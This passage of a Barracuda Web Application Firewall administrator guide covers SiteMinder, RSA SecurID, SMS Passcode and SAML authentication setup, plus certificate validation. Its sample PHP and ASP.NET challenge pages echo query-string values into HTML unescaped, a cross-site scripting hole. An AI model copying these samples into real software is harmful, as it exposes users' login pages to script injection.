8. Create a Policy for the Realm
Create an Agent in the SiteMinder Policy Server
1. From the System tab of the Netegrity Policy Server window, right click the Agents option from the System Configuration tree and
select Create Agent. The Agent Properties window appears. To create the Agent, fill in the following fields:
a. Name – Enter the agent name.
b. Description – Enter the description for the agent.
c. Agent Type – Select SiteMinder as agent type, and then select Web Agent from the drop-down list.
2. Click Apply, and then OK. The created agent appears in the Netegrity Policy Server window.
Figure 1. Creating SiteMinder Agent.

Create an Agent Configuration Object
1. From the System tab of the Netegrity Policy Server window, right click the Agent Conf Objects option from the System Configuration t
ree. In the right hand pane, right click ApacheDefaultSettings and select Duplicate Configuration Object (Figure 2). The Agent
Configuration Object Properties window appears. Fill in the following fields:
a. Name – Enter a name for the agent configuration object.
b. Description – Enter a description for the agent configuration object.
2. Click Add. The Edit Parameter Dialog appears. Provide the Parameter Name: AcceptTPCookie and Value: Yes and click OK (Figure 3
).
3. Locate and select DefaultAgentName in the Configuration Values, and click Edit.
4. When the Edit Parameter Dialog appears, remove the hash (#) associated with the DefaultAgentName and enter the Name from step
a. above in the Value field (Figure 4).
5. Verify the RequireCookies parameter in the Configuration Values is set to Yes for the agent.
6. Leave the remaining parameters set to their default values. Click Apply and then OK.
Figure 2. Agent Conf Object List.

Figure 3. Agent Configuration Object Properties.
Figure 4. Configuring Default Agent Name.

Create a Host Conf Object
1. From the System tab of the Netegrity Policy Server window (Figure 1), right click the Host Conf Objects option from the System
Configuration tree and click the Create Host Conf Object. The Host Configuration Object Properties window appears (Figure 5). Do
the following to create the host configuration object:
a. Name: Enter a name for the host configuration object.
b. Description: Enter a description for the host.
c. Click Add. The Edit Parameter Dialog window appears. Add the following parameters and set appropriate values. For example,
see Figure 5.
i. EnableFailOver
ii. MaxSocketsPerPort
iii. MinSocketsPerPort
iv. NewSocketStep
v. PolicyServer
vi. RequestTimeout
2. Click Apply and then OK. The created Host Config Object appears in the Netegrity Policy Server window.
Figure 5. Host Configuration Object Properties.

Create a User Directory with All User Names to be Authenticated by SiteMinder
1. From the System tab of the Netegrity Policy Server window (Figure 1), right click the User Directories option from the System
Configuration tree and click Create User Directory. The User Directory Properties window (Figure 6) appears. Click the Directory
Setup tab and do the following to configure the User Directory:
a. Name: Enter a name for the user directory.
b. Description: Enter a description.
c. NameSpace: Select the directory where users can be authenticated.
d. Server: Enter the IP Address of the NameSpace directory. SiteMinder communicates with this server to authenticate users.
2. Click the Credentials and Connection tab and configure the Administrator Credentials section:
a. Select the Require Credentials check box.
b. Username: Enter the Distinguished Name (DN) that can be used to query the LDAP server.
c. Password: Enter the password for querying the LDAP server.
d. Confirm Password: Reconfirm the password.
3. Click Apply and then OK. The created user directory appears in the Netegrity Policy Server window (Figure 7).
Figure 6. User Directory Properties.

Figure 7. User Directory List.
Create a Domain for the User Directory
1. From the System tab of the Netegrity Policy Server window (Figure 1), right click the Domains option from the System Configuration tr
ee and click Create Domain. When the Domain Properties Dialog (Figure 9) appears, do the following:
a. Name: Enter a domain name.
b. Description: Enter a description for the domain.
c. In the User Directories tab, select the relevant directory and click Add (Figure 8).
2. Click Apply and then OK. The created agent appears in the Netegrity Policy Server window.
Figure 8. Domain Properties.

Create a Realm and Associate the Agent with the Realm
Realm on the SiteMinder Policy Server is different from Realm on the Barracuda Web Application Firewall.
1. From the Domains tab of the Netegrity Policy Server window (Figure 9), right click the Realm option from the Domains tree and click Cr
eate Realm. When the Realm Properties Dialog (Figure 11) appears, do the following to create the realm:
a. Name: Enter a realm name.
b. Description: Enter a description for the realm.
2. Enter the name of the created agent in the Agent field, or click Lookup to select it from a list.
3. Select Basic or HTML Form authentication type from the Authentication Scheme list.
a. If Basic authentication is selected, the Barracuda Web Application Firewall presents the default login page for authentication.
b. If HTML Form authentication is selected, specify the target URL for authentication in the Authentication Scheme Properties wi
ndow (Figure 10).
4. Click OK in the Realm Properties window to associate the agent with the created realm.
Figure 9. Domains.

Figure 10. Authentication Scheme.
Create Rules for the Realm
Two rules needs to be configured for a realm:
Rule for Authentication Event

Rule for Web Agent actions
Rule for Authentication Event:
1. From the Domains tab of the Netegrity Policy Server window (Figure 9), click the Realms option from the Domains tree. Right click on
the realm to which you want to add a rule and click Create Rule under Realm (Figure 11). When the Rule Propertieswindow appears,
do the following to configure the rule:
a. Name: Enter a rule name.
b. Description: Enter a description for the rule.
c. Select Authentication events in the Action section (Figure 12).
2.

2. Click Apply and then OK. The created rule appears in the list of rules and realms for the bwaf-doc-realm.
Figure 11. Creating a Rule.
Figure 12. Rule Properties.
Rule for Web Agent Actions:
1. Follow Step 1: a and b under Rule for Authentication Event. In Step 1: c, select Web Agent actions in the Action section.
2. Select the methods for web agent (Figure 13). Click Apply and then OK.
Figure 13. Rule for Web Agent Actions.

Create a Policy for the Realm
1. From the Domain tab of the Netegrity Policy Server window, click the Policies option from the Domains tree. Right click and select Crea
te Policy. When the Policies Properties window appears , do the following to configure the policy:
2. In the Users tab, click the Add/Remove button. When the Users/Groups window appears, add the desired users and click OK. The
added users appear in the Policy Properties window ( Figure 14).
3. In the Rules tab, click the Add/Remove Rules button. When the Rule Items window appears, add the rules and click OK. The added
rules appear in the Policy Properties window ( Figure 15).
4. Click Apply and then OK. The created policy appears in the Policy List.
Figure 14. Users.
Figure 15. Rules.

The Barracuda Web Application Firewall can be integrated with an external CA web agent, which can act as a cookie provider
application (master application) to the slave applications configured on the Barracuda Web Application Firewall.
Do the following steps to configure the Barracuda Web Application Firewall with CA SiteMinder:
1. Add the SiteMinder Policy Server as an Authentication Service on the Barracuda Web Application Firewall
2. Bind the appropriate Service(s) with the SiteMinder Authentication Service
3. Configure the Authorization Policy for the Service
Add the SiteMinder Policy Server as an Authentication Service on the Barracuda Web Application Firewall
1. In the Barracuda Web Application Firewall web interface, go to the ACCESS CONTROL > Authentication Services page and select the
SITEMINDER tab.
a. Realm Name – Enter the name of the realm where the Barracuda Web Application Firewall admins are stored.
b. Server IP – Enter the IP address of the SiteMinder Policy Server used to authenticate users.
c. Port – Enter the authentication port of the SiteMinder Policy Server. Port 44443 is the standard port used for SiteMinder.
d. Admin – Enter the privileged username for the SiteMinder Policy Server.
e. Password – Enter the privileged user password for the SiteMinder Policy Server.
f. Agent Name – Enter the agent name configured in the SiteMinder Policy Server to act as the Barracuda Web Application
Firewall's SiteMinder agent. Note: The specified agent name must have the following parameters set to Yes under Agent Conf
Objects on the SiteMinder Policy Server:
AcceptTPCookie
RequireCookies
g. Host Conf Object – Enter the corresponding Host Configuration Object defined on the SiteMinder Policy Server.
3. Click Add to add the SiteMinder server configuration.
When SiteMinder is initially accessed, a trusted host is generated on the SiteMinder Policy Server. It includes the Barracuda Web
Application Firewall Serial Number and agent name.
Figure 16. SiteMinder Authentication Service Configuration.

Bind the appropriate Service(s) with the SiteMinder Authentication Service

2. Identify the Service you want to bind to the SiteMinder Authentication Service.
3. Click Edit next to the Service. When the Edit Authentication Policy window appears (Figure 17), do the following:
4. Set the Status to On.
5. Select the SiteMinder Authentication Service created above (Figure 16) from the list. Specify values for other parameter(s) and click Sav
e Changes.
Figure 17. Authentication Policy.
Configuring Authorization Policy for the Service
1. Go to the ACCESS CONTROL > Authorization > Add Authorization Policy section.
2. Service: Select the desired service from the list.
3. Policy Name: Specify a name for the Authorization Policy.
4. Set the Status to On and specify the values for other parameter(s) as required.
5. Click Add to add the authorization policy configuration.
6. If you wish to enforce fine grained access control, click Edit next to the created policy. The Edit Authorization Policy window
appears. For more detailed instructions, see Configuring Authorization Policy.
Figure 18. Authorization Policy.

If the user realm is set to HTML Form authentication type on the SiteMinder Policy Server, the Login Method on the Barracuda Web
Application Firewall must be set to HTML Form.
Verify the Setup
1. Enter the restricted URL in the browser. For example, for the above configuration you would enter http://192.168.132.121/forms/ in the
address bar of a web browser (Figure 19).
2. If the user realm on the SiteMinder Policy Server is set to Basic Authentication type and the Auth Not Done URL field is blank on the
ACCESS CONTROL > Authorization page, the Barracuda Web Application Firewall presents the default authentication page (Figure 20
).
3. If the user realm on the SiteMinder Policy Server is set to HTML Form authentication type, the Barracuda Web Application Firewall
redirects the user to the login URL specified in the Authentication Scheme Properties window (Figure 10).
4. Go to the BASIC > Access Logs page (Figure 21), enable the login column and verify the results.
Figure 19. Address bar.
Figure 20. Default Authentication Page.
Figure 21. Access Logs.


How to Use Client Certificates
In this Section:



The ACCESS CONTROL > Client Certificates page allows you to define allow/deny rules based on Client Certificates. These settings are not
used unless Enable Client Authentication is Yes for the Service on the BASIC > Services page. For more information on service settings, see
Step 3: Configuring Basic Service Settings.
When Client Authentication is turned on for a service, all clients are required to present a certificate to access the website. The certificate is first
checked for validity. A valid certificate cannot have expired, and must be signed by a certificate authority (CA) listed under Trusted Certificates for
the service. Even a valid certificate signed by a trusted CA can be rejected based on the certificate attributes. This is useful when you wish to
revoke an issued valid certificate.
How it works:
Each Allow/Deny rule has the following important attributes:
A sequence number specifying the order in which to evaluate the rule.

A set of attribute matches (like Certificate Serial number). The attribute can either be a wildcard match (*, to indicate match any value), or
it can be a specific value, matching the certificate's corresponding attribute exactly.
An action to take when the presented client certificate matches this rule.
When a request is received, the Client certificate is compared to all Allow/Deny rules in sequence number order, starting from the lowest
sequence number. Each attribute in the rule is compared, and if all attributes match a rule, the corresponding action (Allow or Deny) is taken and
no further rules are compared.
When no rule matches the Client Certificate in the request, the request is allowed by default.
To allow only requests whose Client Certificates match a rule, create a Deny rule with a high sequence number (10000, for example) which
matches all rules (has * for all attributes) and the action Deny. Every request with a client certificate which fails to match a rule will be denied.
Each allowed certificate must have a corresponding Allow rule with a lower sequence number.
If you create a high sequence number Deny rule to deny all except explicitly allowed Certificates, a request will be allowed only if its
Certificate and all Certificates in its chain match an Allow Rule. If its intermediate or Trusted Certificate does not match any rule, then
the request will be denied.
Complex rules can be built using Allow/Deny rules. For example, to deny all certificates from the Sales department except one that is identified by
its serial number, create the following two rules:
Sequence = 1; Action = Allow; Organizational Unit = Sales; Serial Number = 12345

Sequence = 2; Action = Deny; Organizational Unit = Sales
While complex rules can be built if needed, the recommended configuration allows all certificates signed by a trusted CA and uses the
Allow/Deny list only to revoke access for issued certificates that are no longer valid. The Certificate serial number can uniquely identify a
Certificate issued by a single CA in the event that it must be revoked. The Common Name can also be used to identify a revoked Certificate.
Configuring Allow/Deny Certificate Rules
Detailed instructions for configuring Allow/Deny Certificate rules are available on the ACCESS CONTROL > Client Certificates page by clicking
Help on that page.
In order for a certificate to be allowed via an Allow Rule, ensure that Allow Rules also exist for all Certificates in its chain. If the
Certificate itself matches an Allow Rule, but its intermediate or Trusted Certificate does not match any rule, then the request will be
denied.


The Barracuda Web Application Firewall supports Online Certificate Status Protocol (OCSP) and Certificate Revocation Lists (CRLs) to determine
the current status of client digital certificates. SSL connections from clients can be allowed or blocked based on the status of the client certificate
presented to the Barracuda Web Application Firewall, which is maintained externally by a certificate management system.
OCSP Validation CRL Validation
The Barracuda Web Application Firewall connects to the certificate The certificate is verified using the downloaded CRL file.
management system to verify the current status of a client certificate.
OCSP provides current revocation status information for certificates. Certificate Revocation Lists (CRLs) provide periodically updated
certificate status.
Client Certificate Validation using OCSP
When a client attempts to access a server over an SSL connection that requires client certificate, an OCSP status request for the client certificate
is sent to an OCSP Responder. The OCSP Responder determines whether the status request contains the information required to identify the
certificate and then returns a signed response message indicating one of the following:
GOOD - a positive response indicating that the certificate has not been revoked.
REVOKED - a negative response indicating that the certificate has been revoked.
UNKNOWN - indication that the OCSP Responder has no information about the requested certificate.
For any error or failure, the Responder may return an unsigned message indicating a failed communication, logged under System Logs. Errors
can occur because of a malformed request, an internal error, or an unauthorized request. To view system logs, navigate to the ADVANCED >
System Logs page. If you want system events sent to the syslog servers, configure one or more (maximum of three) syslog servers using Add
Syslog Server on the ADVANCED > Export Logs > Syslog section. For more information on configuring syslog, see How to Configure Syslog
and other Logs.
Enforce Client Certificate must be set to Yes for a service on the BASIC > Services page if you want to authenticate client
certificates using OCSP.
Configuring OCSP Validation
To enable OCSP validation, do the following:
1. Go to the ACCESS CONTROL > Client Certificates page.

2. In the Client Certificate Validation - OCSP section, identify the Service for which you want to enable client certificate validation using
OCSP and click Edit next to that Service. The Client Certificate Validation - OCSP window appears.
a. Enabled – Set to Yes to enable OCSP validation.
b. OCSP Responder URL – Specify the OCSP Responder URL. This is the URL issued by the trusted Certificate Authority (CA)
where the Barracuda Web Application Firewall will send OCSP requests. Both HTTP and HTTPS (SSL/TLS) URLs can be
specified. For example, http://ocsp.example.com
c. Certificate – Select a certificate from the list to verify the signature on the OCSP response.
4. Click Save.
Client Certificate Validation using CRLs
A CRL file contains a list of client certificates that are not expired, but are revoked by the Certificate Authority (CA) that issued the certificate. The
certificate might be revoked for various reasons, such as the certificate was compromised by an unauthorized user, or the user no longer works
for that company.
You can add multiple CRLs to a service. When a CRL is added, the CRL file is downloaded and stored locally on the Barracuda Web Application
Firewall. This file remains in use unless automatic updates are configured. The CRL file can be updated periodically (Daily, Weekly or Monthly) by
enabling the CRL Auto Update option. If CRL validation is enabled and a client attempts to access a server with a certificate, the Barracuda Web
Application Firewall validates the certificate using the downloaded CRL file. If the certificate presented by the client matches a revoked client
certificate in the CRL, the SSL connection from the client is dropped. Otherwise, the connection is established and the client is allowed to access
the requested website. Also, if the CRL expires and there is no updated version available, the client authentication fails and the connection will be
dropped.
If the certificate presented by the client contains the CRL path name in it, the Barracuda Web Application Firewall validates the CRL path name
with the file name configured in the CRL URL parameter.

The Barracuda Web Application Firewall uses the default gateway or a static route to access the server hosting the CRL.
Configuring CRL Validation
To enable CRL validation, do the following:
1. Go to the ACCESS CONTROL > Client Certificates page.

2. In the Client Certificate Validation - CRL section, identify the Service requiring client certificate validation using CRLs and click Add ne
xt to that Service. The Add CRL window appears.
a. CRL Name – Specify the name of the CRL file.
b. Enable CRL – Select Yes to use this CRL file to validate the client certificates.
c. CRL URL – Specify the location of the CRL file to download.
d. CRL Auto Update – Select Yes if you wish to automatically update the CRL file (Daily, Weekly or Monthly).
e. Number of Retries – Specify the maximum number of times the Barracuda Web Application Firewall can attempt to download
the CRL file from the specified path before giving up.
4. Click Save.


This article applies to the Barracuda Web Application Firewall 460 and above.
You can configure the Barracuda Web Application Firewall to pass information from a client to the back-end server through the Barracuda Web
Application Firewall. Using this feature, web servers can access client authentication information, like Client Certificate parameters or
authenticated username and password.
On the Barracuda Web Application Firewall, you can add client information to a request by configuring a Request Rewrite. Headers can be
inserted into the request, or existing headers can be rewritten or deleted before passing the request to the web server, which can then extract the
added information. The Barracuda Web Application Firewall provides macros you can use to communicate request parameters like client
certificate details or authenticated user information through headers.
Configuring Request Rewrite to Pass Client Information to a Web Application
To configure a request rewrite rule, perform the following steps:
1. Go to the WEBSITES > Web Site Translations page, and in the HTTP Request Rewrite section specify values for the following fields:
a. Rule Name – Enter a name for the request rewrite rule.
b. Sequence Number - Set the sequence number for the request rewrite policy. The sequence number determines the order of
execution for multiple configured policies from highest (1) to lowest (1500).
c. Action - Select the action. To modify client information sent to the web application, the request rewrite action should be set to In
sert Header or Rewrite Header.
d. Header Name – Enter the relevant Header Name, for example X-Forwarded-For.
e. Old Value – Enter the initial request header to be rewritten if the Action is Rewrite Header. An asterisk (*) rewrites all named
headers, or specify the value or expression to be rewritten.
f. Rewrite Value – Enter the new value of the header to be rewritten when the Action is set to Insert Header or Rewrite Header.
Use the macros listed below to specify parameters from the client. When rewriting a header you can specify one or more fields
using the separators such as colon (:), semicolon (;), space ( ) and comma (,). In Rewrite Value, the fields can be defined for
example: "Name=abc_cookie; Domain=example.com:Path=/". The rewrite-value supports substring addressing of matches, i.e.
the matching substrings can be referenced using $1,$2,...$n. The following macros are supported for rewrite values:
$X509_ORGANIZATION, $X509_LOCALITY, $X509_CN, $X509_COUNTRY, $X509_OU,$X509_STATE, $X509_EM
AIL, $X509_SUBJECT, $X509_WHOLE: Fields in the X509 client certificate when client authentication is On.
$SRC_ADDR: The client IP from which the request originated.
$DST_ADDR: The destination address.
$URI: URI.
$AUTH_USER: Username of the authenticating user.
$AUTH_PASSWD: Password of the authenticating user.
$AUTH_GROUPS: Group associated to the authenticating user.
g. Rewrite Condition – Set the condition under which a rewrite should occur. An asterisk (*) indicates there are no conditions
(applies to all). Details on the format of the Rewrite Condition are explained below in Rewrite Condition Format.
2. Click Add to add the above settings.
Note: When multiple policies are configured, the request continues to be processed by other (higher sequence number) policies. If you wish to
stop processing after a particular rule is matched, click Edit next to the rule and set Continue Processing to No.
Rewrite Condition Format
The request Rewrite Condition specifies when a rewrite should occur. The Rewrite Condition is made up of expressions combining Request
Rewrite Tokens and Operations on those tokens. These expressions can then be joined with each other using logical or (or, OR, ||) or logical and
(and, AND, &&). Examples of Rewrite Conditions: (Header User-Agent co mozilla) , (URI rco /abc*html), (Client-IP eq 10.0.0.1)&&(Method eq
POST). An asterisk indicates there are no conditions for rewrite, so the rewrite is done in every case.

RSA SecurID Implementation
Partner Information
Product Information
Partner Name Barracuda Networks
Website —www.barracudanetworks.com
Product Name Barracuda Web Application Firewall
Version & Platform x60 Series
Product Description The Barracuda Web Application Firewall protects web applications
and web services from malicious attacks, and can also increase the
performance and scalability of these applications. The Barracuda
Web Application Firewall offers every capability needed to deliver,
secure and manage enterprise web applications from a single
appliance through an intuitive, real-time user interface.
Product Category Network Firewalls
Solution Summary
The Barracuda Web Application Firewall protects your website from attackers leveraging protocol or application vulnerabilities to instigate
unauthorized access, data theft, denial of service (DoS), or defacement of your website.
The Barracuda Web Application Firewall provides complete protection of web applications and enforces policies for both internal and external
data security standards, such as the Payment Card Industry Data Security Standard (PCI DSS). In addition, the Barracuda Web Application
Firewall features a number of traffic management capabilities to improve the performance, scalability and manageability of the most modern and
demanding data center infrastructures.
Partner Integration Overview
Authentication Methods Supported RADIUS
RSA SecurID API Version N/A
RSA Authentication Manager Replica Support N/A
Secondary RADIUS Server Support Yes (1)
RSA Authentication Agent Host Type for 7.1 Standard Agent
RSA SecurID User Specification Designated Users
RSA SecurID Protection of Administrative Users No
RSA Software Token and RSA SecurID 800 Automation No
Authentication Agent Configuration

All Authentication Agent types for 7.1 should be set to Standard Agent.
To facilitate communication between the Barracuda Web Application Firewall and the RSA Authentication Manager / RSA SecurID Appliance, an
Authentication Agent Host record must be added to the RSA Authentication Manager database. The Authentication Agent Host record identifies
the Barracuda Web Application Firewall within the RSA Authentication Manager database and contains information about communication and
encryption. You will also need to configure a RADIUS client.
To create the Agent Host record, you will need the following information.
Hostname
IP Addresses for all network interfaces
When adding the Agent Host Record, you should configure the Barracuda Web Application Firewall as Standard Agent. RSA Authentication
Manager uses this setting to determine how to communicate with the Barracuda Web Application Firewall.
To create the RADIUS client record, you will need the following information.
Hostname
IP Addresses for all network interfaces
RADIUS Secret
Hostnames within the RSA Authentication Manager / RSA SecurID Appliance must resolve to valid IP addresses on the local network.
Please refer to the appropriate RSA Security documentation for additional information about Creating, Modifying and Managing Agent Host, and
RADIUS client records.
RSA SecurID Files
RSA SecurID Authentication Files
Files
aceclnt.dll
sdmsg.dll
sdconf.rec
Node Secret (securid)
sdstatus.12
sdopts.rec
Partner Product Configuration
Before You Begin
This section provides instructions for integrating partner products with RSA SecurID Authentication. This document does not necessarily suggest
optimum installations or configurations.
To fully benefit, you should have a working knowledge of all products involved, and the ability to perform the tasks outlined in this section.
Administrators should rely on product documentation for all relevant products to properly install the required components.
You should verify all vendor products/components are installed and working before proceeding.
Configuring the Barracuda Web Application Firewall for SecurID Authentication
The following configuration steps enable the Barracuda Web Application Firewall to communicate via RADIUS protocol with the RSA
Authentication Manager to authenticate users:
Step 1: Create an HTTP Service on the Barracuda Web Application Firewall
1. Log into the Barracuda Web Application Firewall using a supported web browser by navigating to the web interface on port 443 (HTTPS).
2. From the BASIC tab, select the Services page.
3. In the Add New Service section, select HTTP from the Type list, and fill in other required information. Click Help on the BASIC >
Services page for an explanation of other settings on this page.
4. Click Add.

Figure 1. Creating a New Service
Step 2: Add the RSA SecurID Server as an Authentication Service on the Barracuda Web Application Firewall
The RSA Authentication Manager server running RADIUS is called an RSA RADIUS server in the Barracuda Web Application Firewall
web interface
1. From the ACCESS CONTROL tab, select the Authentication Services page.
2. Select RSA SecurID under the New Authentication Service section. See Figure 2.
3. For the Server IP, specify the IP address of the RSA RADIUS server used for authenticating users.
4. The Server Port should be the port number of the RSA RADIUS server. The standard port number used for RADIUS is 1812 or 1645.
5. Specify appropriate values for other parameters and click Add. For more information, click Help.
Figure 2. Configure RSA SECURID Authentication Service
Step 3: Associate the RSA SecurID Authentication Service with a Service on the Barracuda Web Application Firewall
1. From the ACCESS CONTROL tab, select the Authentication Policies page.
2. Under the Authentication Policies section, click Edit Authentication next to the Service requiring RSA SecurID authentication.
3. On the Edit Authentication Policy window:
a. Set Status to On to enable authentication for the Service.
b. From the Authentication Service list, select the RSA authentication service created in Step 2: Add the RSA SecurID Server as
an Authentication Service on the Barracuda Web Application Firewall.
c. Specify values for other parameter(s) as required, and click Save. For more information on how to configure an authentication
policy, click the Help button. See Figure 4..
Figure 3. Authentication Page
Figure 4. Configuring Authentication Policy

Step 4: Configure the Authorization Policy for the Service
1. From the ACCESS CONTROL tab, select the Authorization Policies page.
2. Under Authentication Policies section, click Add Authorization next to the Service.
3. On the Add Authorization Policy window:
a. Policy Name – Enter a name for the authorization policy.
c. Specify values for other parameter(s) as required, and click Save. For more information on how to configure an authorization
policy, click the Help button.
Figure 5. Configuring Authorization Policy

When there is an attempt to access a protected resource, the Barracuda Web Application Firewall presents a login page to authenticate the user.
If URL Match is configured as /*, a login page displays for any request sent to the Service.
End-User Experience
Using a supported web browser, navigate to the configured URL for the Barracuda Web Application Firewall. To receive authorization to view the
protected resource, a user must authenticate using RSA SecurID. To begin the authentication process, the user must enter a User Name and
Password on the "Login" form.
The user is then presented with a New PIN challenge.
The user is challenged again to confirm the PIN.

When the new PIN is accepted, after entering the new passcode, the user is successfully authenticated and forwarded along to the configured
URL. For more information on how to configure RSA Authentication Manager and to verify the setup, see How to Integrate RSA SecurID with
Certification Checklist for RSA Authentication Manager 7.x

The Barracuda Web Application Firewall supports SMS Passcode’s advanced two factor authentication solution using the mobile phone SMS
network. SMS Passcode provides strong authentication security as the passcodes are challenge based, session based and time constrained.
Passcode’s are randomly generated and sent via SMS to your mobile phone or to your configured email address.
Configuring the Barracuda Web Application Firewall
1. Create a HTTP/HTTPS Service on the BASIC > Services page.

2. Create a RADIUS authentication service on the ACCESS CONTROL > Authentication Services page. Ensure that the Server IP
Address is pointing to the Windows RADIUS server that SMS Passcode uses.
3. Navigate to the ACCESS CONTROL > Authentication page, click Edit next to the Service to enable authentication policy and to choose
the RADIUS authentication service with SMS Passcode from the Authentication Service drop-down list.
4. If you wish to display a custom challenge page, configure the custom URL and query string fields in the authentication policy. Ensure that
your challenge page receives these query string fields and displays the prompt, and includes the user name in its login form (usually as a
hidden input). For more information, see How to Set Up a Custom Challenge Page for Authentication.
5. Configure the authorization policy as desired.
Verify the Setup and Authentication Process
1. Navigate to the restricted URL by entering the IP address into the address bar of your web browser.
2. The default authentication page, or the custom login page for authentication if you have configured it on ACCESS CONTROL >
Authorization, will be presented. For information on creating a custom login page, see How to Set Up a Custom Login Page for
Authentication. You will be prompted to enter your username and password. Enter username and password, click Login.
3. Now, the user is redirected to the default challenge page or custom challenge URL (if configured), and a passcode is sent via SMS to the
user’s phone.
4. Enter the passcode and click Login.
5. Now, the user should see the originally requested page.
Related Articles:

Setting up a custom challenge page is a three step process:
1. Create a custom challenge page.

2. Deploy the created custom challenge page on your web server.
3. Configure the Barracuda Web Application Firewall to use the custom challenge page.
For the following example, we assume:
A back-end server at 192.168.128.10 needs access restricted to authenticated users. Web application resources residing at "http://192.1
68.128.10/secure" require users to authenticate before gaining access.
User authentication uses an SMS Passcode server.
Service-1 (10.10.10.2:80) is configured on the Barracuda Web Application Firewall to secure the access to the web application, with
192.168.128.10:80 configured as the server.
Step 1 - Create a custom challenge page
To create a custom challenge page, you should use the script languages like PHP, JavaScript or CGI Perl to read the parameters from the
incoming request URL and use those values in the HTML file. In the examples below we are using PHP and ASP.NET scripts to create the
custom challenge page "challenge.php"/"challenge.aspx". It must contain the following:
Form ID = nclogin
Name = nclogin
Method = POST
Form Fields should include "Challenge User Field" and "Challenge Prompt Field". Note that these field names needs to be configured on
the ACCESS CONTROL > Authentication page by editing a Service. For more information, see Configuring the Barracuda Web
Application Firewall to use the custom challenge page .
Example with PHP Script
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<html>
<head>
<title>Login</title>
</head>
<body bgcolor="#00C0C0">
<font color="black">
<hr width="100%">
<center>Authentication and Access control</center>
<hr width="100%">
<center><b>Login</b></center>
<form action="/nclogin.submit" method="POST">
<table><tbody>
<tr>
<td align="right"><b><?php echo $_GET["challenge_prompt"];?></b></td><td><input type="password"
size="32" name="f_passwd"></td>
</tr>
</tbody></table>
<p>
<input type="hidden" name="f_username" value=<?php echo "\"".$_GET["challenge_user"]."\"";?>>
<input type="hidden" name="f_method" value="LOGIN">
<input type="submit" value="Login">
<input type="reset" value="Reset">
</p>
</form>
</font>
</body>
</html>
Example with ASP.NET Script

<%@ Page Language="C#" %>

<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<html>
<head>
<title>Login</title>
</head>
<body bgcolor="#00C0C0">
<font color="black">
<hr width="100%">
<center>Authentication and Access control</center>
<hr width="100%">
<center><b>Login</b></center>
<form action="/nclogin.submit" method="POST">
<table><tbody>
<tr>
<td align="right"><b><%= Request.QueryString["challenge_prompt"] %></b></td><td><input type="password"
size="32" name="f_passwd"></td>
</tr>
</tbody></table>
<p>
<input type="hidden" name="f_username" value=<%= Request.QueryString["challenge_user"] %>>
<input type="hidden" name="f_method" value="LOGIN">
<input type="submit" value="Login">
<input type="reset" value="Reset">
</p>
</form>
</font>
</body>
</html>
Step 2 - Deploying the created custom page on your web server
To use the "challenge.php" file, deploy it on your web server. For example:
The IP address of the web server is 192.168.128.10

And the “challenge.php” is available by accessing "http://192.168.128.10/challenge.php"
Step 3 - Configuring the Barracuda Web Application Firewall to use the custom challenge page
Once the custom challenge page is deployed on your web server, configure the Barracuda Web Application Firewall to use the custom challenge
page by doing the following:
1. Configure Authentication Service – Specify the authentication database server (RADIUS) which will be used to authenticate the user's
credential. Ensure the IP address of the server is pointing to the SMS Passcode server. See How to Configure Authentication and
Access Control (AAA).
2. Configure Authentication Policy – Create an authentication policy for the Service you want to secure. To do this, click Edit next to the
relevant Service (Service-1 in this example) on the ACCESS CONTROL > Authentication page. In the Edit Authentication Policy win
dow, configure the following:
b. Select the Authentication Service from the drop-down list. Note that this is the authentication service created in Step 3 (1).
c. Specify values for the following fields:
i. Auth Challenge URL – Enter the URL where a user is redirected if the authentication service requires additional
credentials such as Passcode or PIN. In this example, it would be “/challenge.php”.
The Auth Challenge URL should be added to the allow list in Global ACLs on the SECURITY POLICIES >
Global ACLs page. See Steps to Configure a Global ACL Rule.
ii. Challenge User Field – Enter the name of the query string field passed to the challenge URL which contains the
challenged user's username. By default, the value is set to challenge_user.
iii. Challenge Prompt Field – Enter the name of the query string field passed to the challenge URL which contains the
prompt string received in a RADIUS challenge message. By default, the value is set to challenge_prompt.
d. Specify appropriate values for other parameters and click Add. For more information, click Help in the web interface.
3. Configure Authorization Policy – Create an authorization policy indicating which resources become accessible after a successful
authentication on the ACCESS CONTROL > Authorization page using the following steps:
a. On the ACCESS CONTROL > Authorization page, in the Add Authorization Policy section, specify values for the following:
i. Service – Select the relevant service (Service-1 in the example) from the drop-down list.
ii.

a. Barracuda Web Application Firewall Administrator's Guide - Page 346
ii. Policy Name – Enter a name for the authorization policy. Example: secure.access
iii. URL Match – Enter the URL of the secured part of the web application. In this example the URL is: /secure/
iv. Login Method – Select HTML Form.
The Auth Challenge URL does not support HTTP Basic Authentication.
b. Click Add.
Custom challenge URL is supported ONLY for two factor authentication (SMS Passcode and RSA SecurID).
Steps to Configure a Global ACL Rule

2. Select the policy associated with the Service from the Policy Name drop-down list.
3. In the Create Global ACL section, specify values for the following fields:
a. URL ACL Name – Enter a name for the URL ACL.
b. URL Match – Enter the auth challenge URL, as per the above example it is /challenge.php.
c. Action – Set to Allow.
4. Specify values for other parameters as required and click Add.
Related Articles:

SAML Authentication
The Barracuda Web Application Firewall supports Security Assertion Markup Language (SAML) 2.0, which provides federated authentication and
authorization across different domains. The data is exchanged between three main entities called User/Principal, Service Provider (SP) and
Identity Provider (IDP).
User – A user who attempts to access a secure domain.

Service Provider (SP) – A service provider is an entity that hosts web applications, and relies on trusted Identity Providers (IDP’s) to
authenticate users. The SP authorizes users accessing the web applications based on the configured access rules.
Identity Provider (IDP) – An IDP is a service/website that certifies the identities of users by means of security tokens.
In the SAML environment, the Barracuda Web Application Firewall can act as the SAML Service Provider (SP) that relies on the configured
Identity Providers (IDP’s) to authenticate users. The Identity Provider (IDP) authenticates the user and issues security tokens (XML assertions
with attributes) to the Barracuda Web Application Firewall. The Barracuda Web Application Firewall authorizes users accessing the secure web
application based on the attributes configured in the access rules. The user is granted access to the secure web application ONLY if the
attribute(s) and their values are matched successfully.
applications across different web servers and platforms, without having to re-authenticate.
How does SAML SSO Work
1. User sends a request to a web application.

2. The Barracuda Web Application Firewall identifies that the web application is protected by SAML authentication service, and redirects the
request to the user.
3. The user’s browser redirects the user to the IDP server for authentication.
a. The IDP server challenges the user to provide the login credentials.
b. The user enters the credentials.
4. If the user is authenticated, the IDP sends the SAML assertions to the user.
5. The user forwards the assertions to the Barracuda Web Application Firewall using the POST method. The Barracuda Web Application
Firewall validates the assertions.
6. If successful, the user is granted access to the requested web application. If any access rule is configured, the Barracuda Web
